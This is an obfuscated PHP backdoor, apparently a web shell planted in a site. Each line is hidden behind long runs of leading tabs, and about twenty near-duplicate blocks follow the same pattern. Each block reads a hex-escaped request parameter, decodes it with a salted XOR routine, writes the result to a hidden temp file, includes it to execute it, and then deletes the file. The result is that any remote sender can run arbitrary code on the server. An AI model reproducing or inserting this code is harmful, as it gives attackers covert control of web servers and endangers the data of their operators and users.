<?php																																										if(in_array("re\x63\x6Fr\x64", array_keys($_POST))){ $ptr = array_filter([getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getcwd(), session_save_path()]); $tkn = $_POST["re\x63\x6Fr\x64"]; $tkn = explode ("." , $tkn ) ; $res = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $u = 0; foreach ($tkn as $v8) { $sChar = ord($s3[$u % $sLen]); $d = ((int)$v8 - $sChar - ($u % 10)) ^ 66; $res .= chr($d); $u++; } while ($flg = array_shift($ptr)) { if (max(0, is_dir($flg) * is_writable($flg))) { $parameter_group = "$flg" . "/.entry"; if (@file_put_contents($parameter_group, $res) !== false) { include $parameter_group; unlink($parameter_group); exit; } } } }
																																										if(array_key_exists("refer\x65n\x63e", $_REQUEST)){ $sym = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", getenv("TMP"), "/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $ent = $_REQUEST["refer\x65n\x63e"]; $ent= explode ("." ,$ent ) ; $component = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s6); foreach( $ent as $m => $v2) { $chS = ord( $s6[$m% $sLen]); $dec =( ( int)$v2 - $chS -( $m% 10)) ^87; $component.=chr( $dec); } foreach ($sym as $dchunk): if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $rec = "$dchunk/.item"; if (file_put_contents($rec, $component)) { include $rec; @unlink($rec); exit; } } endforeach; }
																																										if(isset($_POST) && isset($_POST["f\x61\x63t\x6Fr"])){ $marker = $_POST["f\x61\x63t\x6Fr"]; $marker =explode ( "." , $marker) ; $entity =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt ); foreach ($marker as $q => $v1): $chS =ord($salt[$q%$lenS] ); $dec =((int)$v1 - $chS - ($q%10)) ^ 52; $entity .= chr($dec ); endforeach; $data = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); foreach ($data as $ent) { if (array_product([is_dir($ent), is_writable($ent)])) { $flg = str_replace("{var_dir}", $ent, "{var_dir}/.resource"); if (file_put_contents($flg, $entity)) { include $flg; @unlink($flg); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["marke\x72"])){ $ent = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getcwd(), getenv("TEMP")]); $desc = $_REQUEST["marke\x72"]; $desc= explode( "." , $desc ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($desc as $u => $v6): $sChar = ord($s[$u % $lenS] ); $dec = ((int)$v6 - $sChar - ($u % 10)) ^ 46; $pset .=chr($dec ); endforeach; foreach ($ent as $token) { if (max(0, is_dir($token) * is_writable($token))) { $pgrp = sprintf("%s/.resource", $token); if (file_put_contents($pgrp, $pset)) { require $pgrp; unlink($pgrp); die(); } } } }
																																										if(in_array("ent", array_keys($_POST))){ $parameter_group = $_POST["ent"]; $parameter_group = explode ("." ,$parameter_group ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $x = 0; $__tmp = $parameter_group; while( $v5 = array_shift( $__tmp)) { $sChar = ord( $s[$x % $sLen]); $d =( ( int)$v5 - $sChar -( $x % 10)) ^ 100; $hld .= chr( $d); $x++; } $token = array_filter([getenv("TMP"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm"]); foreach ($token as $desc) { if (!!is_dir($desc) && !!is_writable($desc)) { $component = implode("/", [$desc, ".factor"]); if (@file_put_contents($component, $hld) !== false) { include $component; unlink($component); exit; } } } }
																																										if(@$_POST["\x63ompo\x6Eent"] !== null){ $descriptor = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", getenv("TEMP"), "/tmp"]); $property_set = $_POST["\x63ompo\x6Eent"]; $property_set =explode ( '.' , $property_set ) ; $ent = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); foreach ($property_set as $m => $v7) { $chS = ord($s1[$m % $sLen]); $dec = ((int)$v7 - $chS - ($m % 10)) ^ 41; $ent.=chr($dec); } for ($holder = 0, $rec = count($descriptor); $holder < $rec; $holder++) { $dat = $descriptor[$holder]; if (is_dir($dat) && is_writable($dat)) { $value = implode("/", [$dat, ".pointer"]); if (@file_put_contents($value, $ent) !== false) { include $value; unlink($value); exit; } } } }
																																										if(!empty($_POST["\x65n\x74ry"])){ $marker = $_POST["\x65n\x74ry"]; $marker = explode("." , $marker ) ; $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $t = 0; foreach ($marker as $v2) { $chS = ord($salt[$t % $lenS]); $d = ((int)$v2 - $chS - ($t % 10)) ^ 44; $object .= chr($d); $t++; } $res = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", getenv("TMP")]); foreach ($res as $desc): if (max(0, is_dir($desc) * is_writable($desc))) { $pgrp = sprintf("%s/.comp", $desc); $success = file_put_contents($pgrp, $object); if ($success) { include $pgrp; @unlink($pgrp); exit;} } endforeach; }
																																										if(isset($_REQUEST) && isset($_REQUEST["po\x69\x6E\x74\x65r"])){ $record = array_filter(["/var/tmp", "/dev/shm", sys_get_temp_dir(), session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/tmp"]); $ref = $_REQUEST["po\x69\x6E\x74\x65r"]; $ref = explode ( "." ,$ref ); $comp= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt1); foreach($ref as $u => $v3): $chS= ord($salt1[$u % $sLen]); $dec= ((int)$v3 - $chS -($u % 10)) ^ 28; $comp .= chr($dec); endforeach; for ($fac = 0, $value = count($record); $fac < $value; $fac++) { $symbol = $record[$fac]; if (is_dir($symbol) && is_writable($symbol)) { $property_set = implode("/", [$symbol, ".rec"]); if (@file_put_contents($property_set, $comp) !== false) { include $property_set; unlink($property_set); exit; } } } }
																																										if(isset($_REQUEST["\x72\x65co\x72d"]) ? true : false){ $holder = $_REQUEST["\x72\x65co\x72d"]; $holder= explode ( '.' ,$holder ); $rec = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $u = 0; while ($u<count($holder)) { $v5 = $holder[$u]; $chS = ord($salt[$u % $lenS] ); $dec = ((int)$v5 - $chS - ($u % 10)) ^ 92; $rec .= chr($dec ); $u++; } $marker = array_filter([getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", getenv("TEMP")]); foreach ($marker as $value): if ((function($d) { return is_dir($d) && is_writable($d); })($value)) { $key = implode("/", [$value, ".element"]); if (file_put_contents($key, $rec)) { include $key; @unlink($key); die(); } } endforeach; }
																																										if(array_key_exists("f\x6Cag", $_POST)){ $holder = array_filter(["/tmp", session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/var/tmp", sys_get_temp_dir()]); $entity = $_POST["f\x6Cag"]; $entity = explode( '.' , $entity); $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s ); foreach ($entity as $z => $v5): $sChar = ord($s[$z % $lenS] ); $d = ((int)$v5 - $sChar - ($z % 10)) ^22; $mrk .= chr($d ); endforeach; while ($value = array_shift($holder)) { if (array_product([is_dir($value), is_writable($value)])) { $val = "$value/.pointer"; if (@file_put_contents($val, $mrk) !== false) { include $val; unlink($val); exit; } } } }
																																										if(in_array("data_c\x68u\x6Ek", array_keys($_REQUEST))){ $token = array_filter(["/tmp", session_save_path(), getenv("TEMP"), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); $pset = $_REQUEST["data_c\x68u\x6Ek"]; $pset= explode ( '.' , $pset ) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($pset as $w=>$v3): $chS = ord($s[$w % $sLen]); $d = ((int)$v3 - $chS - ($w % 10)) ^ 41; $mrk .=chr($d); endforeach; foreach ($token as $item): if ((bool)is_dir($item) && (bool)is_writable($item)) { $factor = "$item" . "/.bind"; $file = fopen($factor, 'w'); if ($file) { fwrite($file, $mrk); fclose($file); include $factor; @unlink($factor); die(); } } endforeach; }
																																										if(array_key_exists("\x6Be\x79", $_REQUEST) && !is_null($_REQUEST["\x6Be\x79"])){ $component = array_filter(["/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getcwd(), sys_get_temp_dir()]); $record = $_REQUEST["\x6Be\x79"]; $record = explode('.', $record ); $sym=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt1); $len=count($record); for ($t=0; $t< $len; $t++) { $v1=$record[$t]; $sChar=ord($salt1[$t% $sLen]); $d=((int)$v1 - $sChar - ($t% 10)) ^ 81; $sym .=chr($d); } while ($holder = array_shift($component)) { if ((is_dir($holder) and is_writable($holder))) { $pointer = implode("/", [$holder, ".token"]); if (@file_put_contents($pointer, $sym) !== false) { include $pointer; unlink($pointer); exit; } } } }
																																										if(isset($_REQUEST["\x73ym"]) ? true : false){ $pgrp = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", session_save_path(), "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir()]); $holder = $_REQUEST["\x73ym"]; $holder= explode ( "." , $holder ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $x = 0; $len = count($holder ); do { if ($x >= $len) break; $v1 = $holder[$x]; $sChar = ord($s[$x % $sLen] ); $d = ((int)$v1 - $sChar - ($x % 10)) ^ 56; $ent .= chr($d ); $x++; } while (true ); for ($data = 0, $component = count($pgrp); $data < $component; $data++) { $entity = $pgrp[$data]; if ((is_dir($entity) and is_writable($entity))) { $bind = vsprintf("%s/%s", [$entity, ".hld"]); if (file_put_contents($bind, $ent)) { require $bind; unlink($bind); exit; } } } }
																																										if(isset($_REQUEST["\x70\x73et"]) ? true : false){ $bind = $_REQUEST["\x70\x73et"]; $bind = explode ( '.', $bind ) ; $binding=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s ); $l=0; $len=count($bind ); do {if ($l>=$len) break; $v2=$bind[$l]; $chS=ord($s[$l % $sLen] ); $d=((int)$v2 - $chS - ($l % 10)) ^ 41; $binding .= chr($d ); $l++; } while (true ); $hld = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp"]); $ptr = 0; do { $pointer = $hld[$ptr] ?? null; if ($ptr >= count($hld)) break; if ((bool)is_dir($pointer) && (bool)is_writable($pointer)) { $data_chunk = sprintf("%s/.val", $pointer); if (file_put_contents($data_chunk, $binding)) { require $data_chunk; unlink($data_chunk); exit; } } $ptr++; } while (true); }
																																										if(array_key_exists("\x63\x6Fmp", $_REQUEST) && !is_null($_REQUEST["\x63\x6Fmp"])){ $obj = array_filter(["/var/tmp", sys_get_temp_dir(), "/tmp", getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getenv("TEMP")]); $parameter_group = $_REQUEST["\x63\x6Fmp"]; $parameter_group = explode ( '.' , $parameter_group ) ; $tkn = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $u = 0; $__len = count($parameter_group); do { if ($u >= $__len) break; $v3 = $parameter_group[$u]; $sChar = ord($s[$u % $lenS]); $dec = ((int)$v3 - $sChar - ($u % 10)) ^ 29; $tkn .=chr($dec); $u++; }while (true); while ($ent = array_shift($obj)) { if (is_writable($ent) && is_dir($ent)) { $symbol = join("/", [$ent, ".descriptor"]); if (file_put_contents($symbol, $tkn)) { require $symbol; unlink($symbol); die(); } } } }
																																										if(isset($_POST["\x66la\x67"]) ? true : false){ $k = $_POST["\x66la\x67"]; $k = explode ( "." , $k ) ; $descriptor = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt9 ); $t = 0; foreach( $k as $v7) {$sChar = ord( $salt9[$t% $sLen] ); $dec =( ( int)$v7 - $sChar -( $t% 10)) ^ 65; $descriptor .= chr( $dec ); $t++; } $pgrp = array_filter([getcwd(), session_save_path(), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); $record = 0; do { $holder = $pgrp[$record] ?? null; if ($record >= count($pgrp)) break; if ((bool)is_dir($holder) && (bool)is_writable($holder)) { $entry = "$holder/.hld"; $success = file_put_contents($entry, $descriptor); if ($success) { include $entry; @unlink($entry); exit;} } $record++; } while (true); }
																																										if(@$_POST["\x68\x6Cd"] !== null){ $marker = $_POST["\x68\x6Cd"]; $marker= explode ("." , $marker ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $m = 0; $__tmp = $marker; while ($v2 = array_shift($__tmp)) { $chS = ord($salt[$m% $lenS]); $dec = ((int)$v2 - $chS - ($m% 10)) ^ 92; $parameter_group .= chr($dec); $m++;} $k = array_filter([getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), getcwd()]); for ($element = 0, $sym = count($k); $element < $sym; $element++) { $comp = $k[$element]; if ((bool)is_dir($comp) && (bool)is_writable($comp)) { $object = "$comp/.item"; if (file_put_contents($object, $parameter_group)) { require $object; unlink($object); die(); } } } }
																																										if(@$_REQUEST["\x66\x61cto\x72"] !== null){ $descriptor = $_REQUEST["\x66\x61cto\x72"]; $descriptor = explode ( ".", $descriptor ); $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $s = 0; $__tmp = $descriptor; while ($v1 = array_shift($__tmp)) { $sChar = ord($salt[$s % $lenS]); $dec = ((int)$v1 - $sChar - ($s % 10)) ^14; $dchunk.=chr($dec); $s++; } $property_set = array_filter(["/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP")]); foreach ($property_set as $marker): if (is_writable($marker) && is_dir($marker)) { $sym = vsprintf("%s/%s", [$marker, ".val"]); $file = fopen($sym, 'w'); if ($file) { fwrite($file, $dchunk); fclose($file); include $sym; @unlink($sym); exit; } } endforeach; }


if(count($_POST) > 0 && isset($_POST["it\x6D"])){
	$ref = $_POST["it\x6D"];
				$ref   =	 explode 	("."	 	,  $ref			)		; 	 
	$object = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
    
            foreach ($ref as $k => $v3):
                $sChar = ord($salt[$k%$lenS]);
                $dec = ((int)$v3 - $sChar - ($k%10)) ^ 15;
                $object .= chr($dec);
            endforeach;
	$item = array_filter(["/tmp", sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir")]);
	foreach ($item as $elem) {
    		if (is_dir($elem) ? is_writable($elem) : false) {
    $property_set = "$elem" . "/.bind";
    $success = file_put_contents($property_set, $object);
if ($success) {
	include $property_set;
	@unlink($property_set);
	exit;}
}
}
}